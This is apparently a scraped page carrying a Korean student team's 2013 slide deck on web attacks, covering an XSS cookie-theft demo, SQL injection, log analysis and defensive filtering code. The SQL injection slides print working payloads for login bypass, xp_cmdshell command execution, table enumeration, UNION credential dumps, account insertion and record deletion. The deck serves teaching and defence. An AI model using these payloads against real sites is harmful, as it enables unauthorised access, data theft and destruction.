WEB ATTACK 학과 : 사이버경찰 담당 교수 : 안미정 교수님 팀장 : 김현경 팀원 : 양현진, 정윤필, 추혜숙

Slides:



Advertisements
Similar presentations
을지대학교 무선 네트워크 사용 방법 2010 년 06 월 01 일. 을지대학교 무선 네트워크 사용 방법 1. PC 무선랜 카드 활성화 및 체크 1 단계 : 시작 -> 설정 -> 네트워크 설정 2 단계 : 무선 네트워크 설정 선택 -> 마우스 버튼 오른쪽 클릭 -> 사용.
Advertisements

.Net History. Visual Studio.Net 2002 /.Net Framework 1.0 제품의 버전 / 특징 2002 년 - Visual Studio.Net 2002 /.Net Framework 1.0 첫 통합 개발 환경 - C# 언어 등장 (C# 1.0)
Format String Attack! 포맷 스트링 공격 경일대학교 사이버보안학과 학년 남주호.

정보 보안 개론과 실습 네트워크 해킹과 보안 3부 해킹 전 정보 획득 Chapter 10. 목록화.
PARK SUNGJIN Oracle 설치 PARK SUNGJIN
DB 프로그래밍 학기.
DB 프로그래밍 학기.
新 연구관리 프로그램 SAP 설치 안내 1. SAP GUI 7.3 설치 2전자증빙 솔루션 설치 배포 :
1. 신뢰할 수 있는 싸이트 등록 인터넷 익스플로러 실행 후 실행
SQL Injection Member 최병희, 김상우, 조용준, 유창열.
코크파트너 설치 가이드 Window 7.
윈도우7 체크 설치 매뉴얼
HeartBleed.
제 09 장 데이터베이스와 MySQL 학기 인터넷비즈니스과 강 환수 교수.
PHP입문 Izayoi 김조흔.
5장 XSS(cross site script)
발표자 : 손충호 조원 : 유진우, 노유성, 조사랑, 손충호
14장 질의응답 한빛미디어(주).
웹 애플리케이션 아키텍쳐 웹 클라이언트 서버 요청 응답 전송 애플리케이션 데이터베이스 커넥터 N-계층.
테이블 : 데이터베이스를 구성하는 요소로 같은 성격에 정보의 집합체. 레코드 : 하나의 정보를 가지고 있는 컬럼의 집합체
5장 Mysql 데이터베이스 한빛미디어(주).
JSP Programming with a Workbook
4장. 웹로직 서버상에서의 JDBC와 JTA의 운용
해킹기법 시연과 대응전략 (XSS Backdoor)
3.2 SQL Server 설치 및 수행(계속) 시스템 데이터베이스 master
SqlParameter 클래스 선문 비트 18기 발표자 : 박성한.
ASP.NET AJAX 비동기 게시판 작성 2007 컴퓨터공학실험( I )
KHS JDBC Programming 4 KHS
5장 Mysql 데이터베이스 한빛미디어(주).
제 01 장 인터넷 프로그래밍 개요 학기 인터넷비즈니스과 강 환수 교수.
You YoungSEok Oracle 설치 You YoungSEok
2장 JSP 개발 환경 설정 이장에서 배울 내용 : JSP 페이지를 작성하기 위한 개발환경을 설정하고, 웹 어플리케이션 개발을 위해 반드시 이해하여야 할 웹 어플리케이션 폴더 구조에 대해 학습한다. 또한 요청된 JSP 페이지가 어떠한 처리과정을 거쳐 응답이 이루어지는가에.
웹 어플리케이션 보안 2016년 2학기 3. Mongo db.
3강. JSP 맛보기 JSP 문서 작성 하기 JSP 아키텍처 Lecturer Kim Myoung-Ho Nickname 블스
(인터페이스 상세 이용 방법 및 다운로드 (대출모드) 안내)
Neo-plus2 서버 및 클라이언트 설정 방법
CHAP 13. 방명록 만들기 실습.
Web Basic 김영성 인천대 OneScore
UpToDate® Anywhere(UTDA)
JDBC Lecture 004 By MINIO.
2015학년도 PHP 기말 레포트 로그인 홈페이지 제작.
홀인원2.0 설치 메뉴얼.
HTTP 프로토콜의 요청과 응답 동작을 이해한다. 서블릿 및 JSP 를 알아보고 역할을 이해한다.
LIT-GenAppSetup ※ Texting+ 클라이언트 프로그램은 제품 인증을 받은 제품입니다.
Smart Workplace 개발자 가이드
Database 중고차 매매 DB 비즈니스IT 윤동섭.
Adobe 제품 다운로드 및 설치 방법 안내 Adobe Creative Cloud Adobe License 권한을 받으신 분
폼 관련 태그 폼 양식 직접 만들어보기 회원가입 절차 4단계
1차시: 낮과 밤이 생기는 원리 지구과학
IOS Press Last Update : Jan, 2012.
SQL INJECTION MADE BY 김 현중.
1. 스크립트 작성 마법사 2. NSIS 스크립트 컴파일
PMIS 서버 설정 환경설정 작성자 : 배경환.
“웹과 모바일을 연동한 평가 간편 시스템” vol
STS 에서 웹 서버 설치 방법.
웹 어플리케이션 보안 2016년 2학기 11. Enhancing Security.
수동 설치시는 설치 방법 1. 두번에 설치 CD 속에 fscommand 폴더 밑에 Osstem 이라는 폴더를
.Net Web Application 2007 컴퓨터공학실험(Ⅰ)
3장 JSP프로그래밍의 개요 이장에서 배울 내용 : JSP페이지의 기본적인 개요설명과 JSP페이지의 처리과정 그리고 웹 어플리케이션의 구조에 대해서 학습한다.
Tensorboard in Windows
01. 분산 파일 시스템의 개요 네트워크에 분산된 파일을 사용자가 쉽게 접근하고 관리할 수 있게 해준다.
XSS 정 여 진.
9 브라우저 객체 모델.
UpToDate® Anywhere(UTDA)
접근제어 솔루션 계정등록 및 클라이언트 설치.
CCIT 네트워크 발표 정보보호학과 평문 사이트와 SSL 사이트, SSL strip과 데이터 변조를 이용한 로그인 취약점
웹과 모바일 홈페이지의 이해와 제작 [PHP / MYSQL] 게시판 만들기
 6장. SQL 쿼리.
XSS 취약점을 이용한 웹메일 해킹
Presentation transcript:

WEB ATTACK 학과 : 사이버경찰 담당 교수 : 안미정 교수님 팀장 : 김현경 팀원 : 양현진, 정윤필, 추혜숙 발표일 : 2013.12.19(목)

INDEX XSS ATTACK SQL INJECTION LOG ANALYSIS SECURITY

01 XSS ATTACK

XSS 란? Cross Site Scripting의 약자 XSS취약점은 사용자가 입력한 값을 웹 서버에서 검증하지 않아 생기는 취약점이다. OWASP(국제 웹 보안 표준기구) Top3 에 위치할 정도로 매우 치명적인 공격이다.

1. XSS 공격의 특징 - 웹 사이트에서 스크립트 사용이 가능 해야 한다. - 클라이언트만을 공격한다. - 웜바이러스 배포 - 악성코드 다운로드 및 실행 - 세션 재사용 공격(쿠키 탈취) - 페이지 변조 등

악성스크립트를 업로드하고, 사용자는 해당 게시물을 클릭했을 때 악성 스크립트가 실행 되는 형태이다. XSS ATTACK 원리 공격자가 웹 서버에 게시물을 통해 악성스크립트를 업로드하고, 사용자는 해당 게시물을 클릭했을 때 악성 스크립트가 실행 되는 형태이다. 1. 악성 스크립트가 담긴 게시물 등록 2. 게시물 열람 3. 악성 스크립트 다운 4. 쿠키값을 공격자의 서버로 전송

XSS 공격 시연 실 습 환 경 OS – Windows 7 Web Server – IIS 7.5 DB – MySQL 5.6 File – ASP Tool – Cooxie Toolbar

XSS 공격 시연

XSS 공격 시연 파일 업로드

XSS 공격 시연 게시물 클릭 시 화면에 아무것도 없음

http://IP주소/board/pds/cookie.txt 쿠키값 알아냄 XSS 공격 시연 http://IP주소/board/pds/cookie.txt 쿠키값 알아냄

XSS 공격 시연 로그인 없이 관리자 권한으로 게시판 보기 가능

02 SQL INJECTION

SQL Injection 이란? SQL Injection 공격 대상 웹 어플리케이션 자체의 버그를 이용하는 웹 해킹 방법 DB로 전달되는 쿼리를 추가하거나 변경하여 발생 사용자 입력에 대한 검증을 하지 않아 발생 웹 어플리케이션이 DB로 사용자 입력을 보낼 때 URL이나 폼 필드 또는 동적으로 생성되는 일부 SQL질의에 SQL명령어를 실행할 수 있을 때

SQL Injection 공격 원리 악의적 Query문 Query문 실행 Internet 공격 성공 내용 전송 Hacker Server

SQL Injection 공격 시연 실 습 환 경 OS – Windows 7 Web Server – IIS 7.5 CONTENTS SQL Injection 공격 시연 실 습 환 경 OS – Windows 7 Web Server – IIS 7.5 DB – MSSQL 2008 File – ASP

로그인 인증 우회 SQL Injection 공격 가능 체크 PW = ‘test’or’1’=1

로그인 인증 우회 Query문을 이용하여 ID획득 PW = ‘test’or’1’=‘1

SELECT * FROM member WHERE bId=‘catch’ and bPass=‘test’or’1’=‘1’; CONTENTS SELECT * FROM member WHERE bId=‘catch’ and bPass=‘test’or’1’=‘1’; 거짓 거짓 참 거짓 and연산과 or연산을 이용 and연산 -> 둘 다 참이면 참 or연산 -> 하나라도 참이면 참 참

로그인 인증 우회 알아낸 ID로 로그인(주석 사용) ID = admin’--

주석문(--)을 이용하여 아이디만 맞으면 Login가능 로그인 인증 우회 SELECT * FROM member WHERE bId=‘admin’-- and bPass=‘’; 거짓 SELECT * FROM member WHERE bId=‘admin’; 주석문(--)을 이용하여 아이디만 맞으면 Login가능

SQL Injection 공격 시연2 – 시스템 명령어 xp_cmdshell을 이용한 공격 1) xp_cmdshell 이란? - MS-SQL DB에 있는 master DB의 확장 프로시저 - 시스템 명령어를 실행할 수 있다. 2) 프로시저란? - 특정 작업을 수행하기 위한 프로그램의 일부

SELECT * FROM member; exec master..xp_cmdshell’ping 127.0.0.1’ 시스템 명령어 두 가지 이상의 쿼리문 실행하여 1) 세미콜론(;) 표시를 이용하여 연결하여 사용가능 SELECT * FROM member; exec master..xp_cmdshell’ping 127.0.0.1’

exec master..xp_cmdshell ’md c:\board\bbb’ 시스템 명령어 시스템에 폴더 생성하기 방법1. MSSQL Server에서 직접 입력 exec master..xp_cmdshell ’md c:\board\bbb’

가정) ID = ‘admin’으로 게시판 로그인할 때 툴 사용 시스템 명령어 시스템에 폴더 생성하기 방법2. 프록시 툴(Odysseus)을 사용 가정) ID = ‘admin’으로 게시판 로그인할 때 툴 사용

시스템 명령어 시스템에 폴더 생성하기 - URL 인코딩 수정

SQL Injection 공격 시연3 – 테이블 정보 열람하기 테이블 정보 보기 SQL Injection 공격 시연3 – 테이블 정보 열람하기 집계함수 1) 집계 란? - 이미 계산된 것들을 모아서 계산하는 것 2) 집계 함수 란? - 이미 계산된 결과를 어떤 기준으로 그룹화 하는 함수들 [avg(), sum(), count() 등…] 3) 집계 키 란? - 그룹화 하는 기준 (ex>GROUP BY 절의 칼럼이나 연산식)

테이블 정보 보기 테이블 명 획득 Test%’ having 1=1-- bbs.idx

테이블 정보 보기 필드 명 획득 Test%’ group by idx-- bbs.tId

필드 명 획득 Test%’ group by idx…tDate-- 테이블 정보 보기 필드 명 획득 Test%’ group by idx…tDate-- idx,tId,tName,tMail,tTitle,tContent, tfilename,tfilepath,tRead,tDate

테이블 정보 보기 테이블 명 획득 ‘having 1=1-- member.idx

테이블 정보 보기 필드 명 획득 ‘ group by idx-- member.bId

Test%‘ union select sum(bDate) 테이블 정보 보기 UNION과 sum()함수를 이용하여 필드 타입 알아내기 - sum()함수에는 숫자형만 사용할 수 있다.. Test%‘ union select sum(bDate) from member datetime

계정 획득하기 Test%‘ union select idx,bId,bPass,bName,bContent, 테이블 정보 보기 계정 획득하기 Test%‘ union select idx,bId,bPass,bName,bContent, bAddr1,bAddr2,bPhone,bMail,bDate

Union을 할 때는 필드 타입이 일치해야 한다. - varchar형의 bMail과 int형의 tRead를 union하려고 테이블 정보 보기 Union을 할 때는 필드 타입이 일치해야 한다. - varchar형의 bMail과 int형의 tRead를 union하려고 시도 하여 오류 발생 => tMail 필드대신 아무 숫자 입력 게시판 사용자 ID, PW 확인

SQL Injection 공격 시연4 – 테이블 내용 조작하기 테이블 정보 보기 SQL Injection 공격 시연4 – 테이블 내용 조작하기 계정 추가 하기 Test%’;insert into member(bId,bPass,bNamd,bPost,bPhone) values(‘test’,’attack’,’해커’,’a1’,’a2’);--

테이블 정보 보기 계정이 추가 확인

테이블 정보 보기 게시글 삭제 ‘or 1=1; delete from bbs where idx=3;-

03 LOG ANALYSIS

Logparser Tool을 이용하여 로그 분석 XSS 공격 로그 Logparser Tool을 이용하여 로그 분석

XSS 로그기록이 불확실 DB Table 내용 확인

CONTENTS 시간 정보를 이용한 로그 분석 범인은 정윤필

SQL Injection 공격 로그 SQL Injection HTTP 응답코드 => 500 범인은 추혜숙

04 SECURITY

ASP – 변수 = server.htmlencode(변수) 변수 = replace(변수, "<", "&lt") Security Code Server.htmlencode() -> HTML 태그를 소스 형태로 보여준다. HTML 지원 안 함(HTML 태그를 무력화 시킴) ASP – 변수 = server.htmlencode(변수) 변수 = replace(변수, "<", "&lt") 변수 = replace(변수, ">", "&gt") PHP - htmlentites() JSP - 변수 = 변수.replaceAll("<","<"); 변수 = 변수.replaceAll(">",">");

replace(“변수”,”변경대상문자”,“변경 후 값”) Security Code HTML을 화이트 리스트 방식 허용 ASP - 변수 = replace(변수,"<p>","<p>") - 변수 = replace(변수,"<P>","<P>") - 변수 = replace(변수,"<br>","<br>") - 변수 = replace(변수,"<BR>","<BR>") replace(“변수”,”변경대상문자”,“변경 후 값”)

str_replace(“변경대상문자”,”변경 후 값”,“변수”) Security Code HTML을 화이트 리스트 방식 허용 PHP - $변수 = str_replace("<p>","<p>",$변수); - $변수 = str_replace("<P>","<P>",$변수); - $변수 = str_replace("<br>","<br>",$변수); - $변수 = str_replace("<BR>","<BR>",$변수); str_replace(“변경대상문자”,”변경 후 값”,“변수”)

replaceAll(“찾는 문자”,”교체할 문자”) Security Code HTML을 화이트 리스트 방식 허용 JSP - 변수 = 변수.replaceAll("<p>","<p>"); - 변수 = 변수.replaceAll("<P>","<P>"); - 변수 = 변수.replaceAll("<br>","<br>"); - 변수 = 변수.replaceAll("<BR>","<BR>"); replaceAll(“찾는 문자”,”교체할 문자”)

SQL Injection 공격 대응 방법1 사용자의 입력 폼과URL 입력 값을 검증하여 특수 문자가 포함되어 Security Code SQL Injection 공격 대응 방법1 사용자의 입력 폼과URL 입력 값을 검증하여 특수 문자가 포함되어 있는지 여부를 확인하여 필터링한다. replace(문자열, 찾을 문자열, 바꿀문자열)

SQL Injection 공격 대응 방법2 로그인 하는 입력 폼의 길이를 제한한다. Security Code SQL Injection 공격 대응 방법2 로그인 하는 입력 폼의 길이를 제한한다. <input … maxlength=“숫자” />

Security Code 웹 취약점 분석 (Acunetix 툴 사용)

Web Page analysis Acunetix 툴 설치 및 사용 방법 http://www.acunetix.com/vulnerability-scanner/download/

Web Page analysis

Web Page analysis 보안 코드 작성 전

Web Page analysis 보안 코드 작성 후

Q&A

THANK YOU